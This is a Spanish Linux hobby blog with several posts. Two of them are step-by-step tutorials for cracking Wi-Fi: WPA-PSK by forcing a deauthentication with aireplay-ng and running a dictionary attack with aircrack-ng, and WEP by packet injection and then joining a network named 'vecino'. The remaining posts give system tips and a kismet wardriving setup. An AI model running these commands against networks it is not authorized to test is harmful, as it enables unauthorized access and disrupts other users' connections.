lunes, octubre 29, 2007

Pruebas con WPA-PSK

El protocolo de seguridad WPA (Wi-Fi Protected Access - Acceso Protegido Wi-Fi) se puede dividir a grandes rasgos a su vez en dos modalidades:

WPA empresarial. Este modo esta diseñado para trabajar con un servidor de autentificación de los usuarios en la red, que en la mayoría de los casos es un servidor RADIUS (Remote Access Dial-In User Server ) . La otra modalidad es WPA personal que es el que nos encontraremos en la mayoría de las redes caseras y pequeñas oficinas.

El protocolo WPA personal, conocido también como WPA-PSK (Pre Shared Key), se basa en una autentificación por contraseña del cliente wireless al punto de acceso y es el que abarcaremos en esta sección. La información es cifrada con el algoritmo RC4 con una clave de 128bits y un IV (vector de inicialización) de 48bits. La intrusión en este tipo de red es diferente a las redes configuradas con el protocolo WEP. En este caso para intentar obtener la clave de red no nos hacen falta miles de paquetes, ni generar IV's, si no que basta con un solo paquete que contenga la autentificación del cliente al punto de acceso (handshake). Es el que capturaremos y crackearemos mediante un ataque de fuerza bruta con un diccionario; por tanto el éxito de este ataque esta ligado a la robustez de la contraseña que puede tener de 8 a 63 caracteres ascii.

Para realizar este ataque también usaremos la suite aircrack-ng y la distribucion wifislax y cada paso mostrado lo realizaremos en una consola o terminal virtual diferente.

1º )Paso: ponemos la tarjeta en modo monitor.

En este caso lo hacemos primero con el script atheros.sh ya que el chipset de la tarjeta que estoy usando es atheros, pero dependiendo del chipset también podemos hacerlo con el comando iwconfig del paquete (wireless-tools) o como la mayoría de las veces usando el script de airmon-ng start "interface".

#atheros.sh



1 2º )Paso: localizamos el punto de acceso con airodump-ng y después empezamos la captura de tráfico:

a)Localización de nuestro Punto de Acceso:

#airodump-ng start ath0




En este caso nuestro objetivo será la red home, que como podemos observar su cifrado es WPA
1

b)Captura del tráfico del Punto de Acceso seleccionado:

# airodump-ng --bssid 00:13:F7:1E:98:95 -c 6 -w CAPTURA ath0


De esta forma indicamos a airodump-ng que filtre por el bssid de nuetra red --bssid "00:13:F7:1E:98:95" ,fijamos el canal de nuestro AP "-c 6" y le indicamos que guarde el tráfico capturado en el archivo CAPTURA,y finalmente indicamos nuestra tarjeta inalámbrica.


3º)Paso: si observamos la captura anterior vemos que hay un cliente conectado (00:13:F7:59:05:4A) al punto de acceso que vamos a atacar (00:13:F7:1E:98:98).
Para obtener el “handshake” desautenficaremos al cliente del punto de acceso y de esta forma forzaremos que el cliente se vuelva a autentificar capturando la trama que nos interesa:

#aireplay-ng --deauth 20 -a 00:13:F7:1E:98:95 -c 00:13:F7:59:05:4A ath0

1 1

Indicamos a aireplay-ng que usamos el ataque --deauth (deautentificación) , el 20 representa el numero de tramas de desautentificación a enviar al punto de acceso y con la dirección mac del cliente y la interface inalámbrica.
(Tambien podriamos hacer un ataque de desautentificacion masivo sin especificar el cliente "-c",pero en este caso es mas efectivo de esta forma).


4º)Paso: Obtención de la clave WPA-PSK mediante ataque de diccionario: 1

#aircrack-ng -a 2 -w /root/swireless/capturas/dic CAPTURA.cap

1

En este caso los parámetros de aircrack-ng -a 2 especifica el modo de ataque WPA-PSK -w la ruta de nuestro diccionario y CAPTURA.cap es el archivo donde tenemos el trafico capturado del punto de acceso elegido.Si al llegar este paso no obtenemos el "handshake",repetiremos el ataque de autentificacion aumentando el numero de tramas a enviar por ejemplo 100.

Como se puede observar en este caso de prueba tenemos la contraseña WPA-PSK "complejidad".

1

Para este tipo de ataque es muy importante tener un buen diccionario, podremos encontrar diccionarios googleando aun así aquí dejo algunos que he encontrado.

Diccionario de ispell en español

Diccionario de openoffice

Diccionario 1

Diccionario 2

Diccionario en hackemate.com.ar

1

El éxito del ataque en este tipo de redes es muy muy difícil de conseguir pero si la contraseña es débil y tenemos mucha mucha suerte podríamos obtener la clave WPA-PSK más rápido incluso que en los ataques al protocolo WEP debido a que como hemos mencionado anteriormente con un solo paquete que contenga el “handshake” es suficiente.

Etiquetas:

miércoles, diciembre 07, 2005

MiniTips Utiles en Gnu/Linux:

Descargar páginas enteras con wget:
wget -r http://www.paginaadescargar.com
Copia se seguridad del mbr:
Crear la copia:
$dd if=/dev/hda of=mbr.backup bs=512 count=1
Para restaurar la copia:
#dd if=mbr-backup of=/dev/hda bs=512 count=1
Capturas del escritorio desde xterm:
import -window root micaptura.extensión
Pedir confirmación antes de eliminar ficheros con rm como root:
Esto es util para que un despiste no nos de rompeduras de cabeza:
Editar el archivo /root/.bashrc y descomentar o añadir la linea # alias rm='rm -i
Acelerar la compilación del los programas,compilacion del kernel,etc...:
Para ahorrar algo de tiempo,podemos lanzar el make con mas procesos,
por ejemplo make -j 5 modules.
Ahorrar memoria eliminando terminales:
Editar el archivo /etc/inittab y eliminar hasta dejar el numero de terminales deseado,

o bien eliminamos en el segundo campo el 3,asi ya no se ejecutan en ese nivel de ejecución.
1:23:respawn:/sbin/getty 38400 tty1
2:23:respawn:/sbin/getty 38400 tty2
3:23:respawn:/sbin/getty 38400 tty3
Busquedas en la wikipedia desde consola:
Para realizar busquedas en la wikipedia desde consola podemos usar este script.
Si tenemos el sintetizador festival instalado,a veces es util que nos lea la busqueda
realizada:
Usar archivo de paginación de Sistemas WindowsXP como swap:
Si no podemos disponer de una partición swap,podemos usar el archivo
de paginación de WindowsXP como espacio de intercambio,si tenemos el sistema de
archivos en FAT32,(en caso de tener un kernel >= 2.6.16 podriamos usar NTFS.)
#mkswap /particiondewindows/pagefile.sys
#swapon /particiondewindows/pagefiles.sys
Crear un archivo para usarlo como swap:

#dd if=/dev/zero of=/tmp/archivo_intercambio bs=1024 count=262144 (256mb)
#mkswap /tmp/archivo_de_intercambio
Eliminación de permisos: chmod go -rwx /tmp/archivo_intercambio
#swapon /tmp/archivo_intercambio
Configurar una tarjeta de red com mas de una IP:
Para esto podemos hacer un alias de la tarjeta
#ifconfig eth0:1 direccion_ip mascara de red
#ifconfig eth0:2 direccion_ip mascara de red
Expulsar el cdrom/dvd al desmontar la unidad:
#echo 1 > /proc/sys/dev/cdrom/autoeject


Etiquetas:

sábado, noviembre 26, 2005

¿ Aplicaciones Windows en GnU/Linux?
Muchos de nosotros que usamos gnu/linux como sistema operativo diariamente, nos ha surgido alguna vez el problema de necesitar o simplemente querer usar una aplicación específica de windows que no esta portada;o la típica página web que solo puedes ver bien con el I.Explorer,etc...Hoy en dia practicamente todo lo que existe para entornos W32 ,lo tenemos para gnu/linux (juegos aparte..) aunque hay veces que no queda más remedio que emular un sistema windows para poder instalar esas aplicaciones.Wine es una opción más que funcional para hacer esto,pero hace un tiempo encontré Cross Over Office un plugin para wine que me gusto bastate.Para que os hagais una idea ,en este enlace aparecen algunas de las aplicaciones que podemos instalar.Esta aplicación no es software libre,pero después de rellenar un pequeño formulario aqui podemos descargarnos la versión de prueba para 30 días.


Para usar CrossOver Office tenemos que tener wine instalado:

#apt-get install wine winesetup winesetuptk

Una vez descargado el archivo la instalación es tan simple como:

$ sh install-crossover-standard-demo-5.0.0.sh

Ahora nos aparece el GUI,seleccionamos el directório de instalación,la configuración de la conexión a internet,y listo!

En KDE se integra perfectamente Menu K->CrossOver.
Desde aqui podemos instalar nuestras aplicaciones W32,que
aparecerán en Menu K->Windows Applications->Programs.

Enlaces de Interes:
Instalacion de IExplorer en gnu/linux con IE4Linux
http://www.winehq.com/
http://www.codeweavers.com/

Etiquetas:

lunes, octubre 31, 2005


Rompiendo WEP en redes Wireless...
Sin entrar mucho en el tema,el protocolo de cifrado WEP(Wired Equivalent Privacy),Privacidad equivalente a red cableada,usa un
algoritmo de encriptación llamado RC4,del que se conoce varias vulnerabilidades bastante importantes.Este algoritmo al usar cifrado de flujo funciona en el caso de WEP expandiendo en la trama 802.11 un vector de inicialización IV de (24 bits),la clave secreta y el keystream.Aqui es donde empiza el problema,para empezar el IV viaja en la parte NO CIFRADA de la trama,y en realidad las encriptaciones que nos venden los fabricantes no son del todo "sinceras",porque por ejemplo en una encriptación de 128 bits,sería 128bits - IV es decir 104bits,y claro pasa lo mismo con los cifrados de 64bits que quedarían reducidos a 40bits.
Este tipo de ataque consiste en generar un keystream igual,basándonos en el IV y en la clave secreta.El estandar WEP solo recomienda que IV cambie en cada trama, pero no lo impone,asi que buscaremos IV repetidos,ya que el tamaño del IV es de 24bits,tendremos 2^24=16.777.216 de IV diferentes.
Entoces lo que haremos,sera inyectar tráfico en la red,y generar IV's,asi podremos crackear la captura y conseguir la clave WEP.
Antes de nada decir que el exito de este ataque depende tambien del fabricante del AP(Access Point),y la manera que tenga de gestionar los IV's.
Otra cosa importante es que en este tipo de ataques no nos vale solo con
que la tarjeta soporte modo RFMON (modo monitor),si no que en muchos de los casos tendremos que parchear el modulo para que soporte la inyección de paquetes,si no queremos rompernos la cabeza con el tema de hardware/modulos,recomiendo usar la distribucion whax y la suite aircrack que se compone de:
airodump:Programa para la captura de paquetes 802.11
aireplay:Programa para la inyección de paquetes 802.11
aircrack:Crackeador de claves estáticas WEP y WPA-PSK
airdecap: Desencripta archivos de capturas WEP/WPA-PSK

Vale una vez solucionado el problema del hardware y entendido para que usamos la suite aircrack haríamos:

Consola 1
{
# airmon start eth1 ->Ponemos la tarjeta en modo monitor
#airodump eth1 out 0 ->Buscamos el AP
#airodump eth1 out 11 1 -> Fijamos airodump en el canal del AP(11) y capturamos IV's en la red seleccionada (1)
}
Consola 2
{
#aireplay -1 -30 -e essid -a MACAP -h MACFALSA eth1 ->Nos autentificamos al AP,algunos AP requieren auntentificarse cada x segundos...
}
Consola 3
{
#aireplay -3 -b MACAP -h MACFALSA -x 600 eth1 ->Comenzamos la inyección de paquetes.
}
Consola 4
{
#aircrack -x out.ivs ->Crackeamos la captura de paquetes!!!!
}
Si todo ha ido bien dentro de unos minutos obtendremos el KEY FOUND !!! ahora ya solo nos queda conectarnos a la red..:
# iwconfig eth1 mode managed essid vecino channel 11 key 1111111111
# dhclient eth1
Desde mi punto de vista,cualquiera con un poco de trafico en la red,podría romper WEP en cuestión de minutos.
Lo mas adecuado sería usar WPA que también es vulnerable a determinados ataques de diccionario, pero es mas seguro que WEP.Si no tenemos otra opción de cifrado que no sea WEP bien sea por compatibilidad entre dispositivos,etc...,algunas de las
medidas que podriamos implantar para asegurar un poco mas nuestra red sería usar una red vpn,usar WEP de 104bits,
no propagar el essid,habilitar el filtrado de direcciones mac y cambiar la clave WEP con frecuencia.

Enlaces relacionados:

http://www.cr0.net:8040/code/network/aircrack/

http://foro.elhacker.net/index.php#2

Etiquetas:

viernes, octubre 21, 2005


Controlando gnu/linux por voz con Sphinx-2 y perlbox-voice:

En el anterior articulo comentaba como usar el sniffer de redes inalámbricas kismet con festival, el sintetizador de voz,para poder oir las redes que detectamos.Entonces se me ocurrio escribir este post,que trata de poder enviar comandos al sistema con la voz,como se puede hacer en los sistemas de billi puertas.Supongo que la tarjeta de sonido y el microfono ya están configurados....Para el reconocimiento de voz usaremos los programas sphinix,y perlbox que es un programilla con GUI para crear,editar,etc.. nuestros comandos de voz.Lo "malo" de este software es que tendremos que hablarle en ingles,no he encontrado nada bajo gpl en español,
pero podemos hecharle una ojeada a Natural Voices AT&T",o a IBM Text-To-Speech.No los he probado,pero naturalvoices de AT&T permite hacer una prueba en su Web.
Bueno lo primero es descargarnos el software , en mi caso con gnu/linux Debian sid
#
apt-get update && apt-get install sphinx2-bin sphinix2-hm-6k
Una vez instalado,ahora solo tenemos que descargarnos el
Paquete deb
del perlbox y lo instalamos:
#dpkg -i perlbox-voice-0.09.noarch.deb
Listo ahora ya solo tenemos que ejecutar el comando perlbox-voice y nos aparecerá el programa para personalizar nuestros comandos de voz,que ya de por si es bastante explicativo,a si que no voy a comentar nada mas sobre él,solo añadir que en la sección Config-> Desktop plugins podemos elegir la integración para nuestros direferentes escritorios en mi caso KDE.


jueves, octubre 20, 2005


GnU/Linux Wardriving con kismet y festival :

Para mi gusto creo que una de las herramientas mas potentes a la hora de detectar redes inalámbricas es kismet .Esta herramienta soporta desde
detección del tipo de encriptacion de la red,rangos de IPs,Clientes asociados,detección de redes que no propagan el essid ( no opensystem ),y muchas mas características que nos facilitan la obtencion de información de la red.
Festival,es un sintetizador de voz para sistemas Linux y BSD.La cuestión es que nuestro kismet nos "diga" las redes inalámbricas que va detectando usando el sintetizador de voz festival,esto es una maravilla para ir con el portatil en la mochilla y con los cascos puestos xDD,o si estas solo y estas orientando alguna antena,y etc,etc..
Lo primero descargamos e instalamos el kismet:
root@none#apt-get update && apt-get install kismet festival festvox-ellpc11k
El paquete festival es el propio sintetizador de voz y el paquete festvox-ellpc11 es el speaker en español.En este caso vamos a usar festival con kismet,pero este se puede enlazar con multiples aplicaciones como gaim para que nos lea lo que no escriben los contactos,con kmouth para usarlo en entornos kde,etc...
Una vez tenemos los programas y sus dependencias instaladas toca configurar. Editamos el archivo de configuración principal de kismet,situado en /etc/kismet/kismet.conf.Esta es mi configuración,(solo teneis que cambiar estas lineas,y dejar las descomentadas como están...).Para ver el archivo de una manera mas clara podemos usar
#grep -v "#" kismet.conf
,asi se verá la salida del archivo sin las lineas comentadas

servername=Kismet
suiduser=root
source=prism54g,eth1,generic
gps=false
speech=true
festival=/usr/bin/festival --language spanish
speech_type=speech
speech_encrypted=Red detectada, %s, Red encriptada .
speech_unencrypted=Red detectada, %s, Red abierta sin cifrar.
piddir=/var/run/
configdir=/var/lib/kismet

Listo!! Ahora solo nos queda ejecutar kismet y ,cada vez que encontremos una red inalámbrica kismet nos avisará... xDD.Una buena opción es dejar un archivo llamado kismet.conf.festival con esta configuración,y el kismet.conf configurado sin soporte para festival,entonces cada vez que se quiera usar kismet con festival bastaría con
root@cavil# kismet -f /etc/kismet/kismet.conf.festival

Enlaces relacionados:
http://www.kismetwireless.net/
http://bulma.net/impresion.phtml?nIdNoticia=2015




Etiquetas: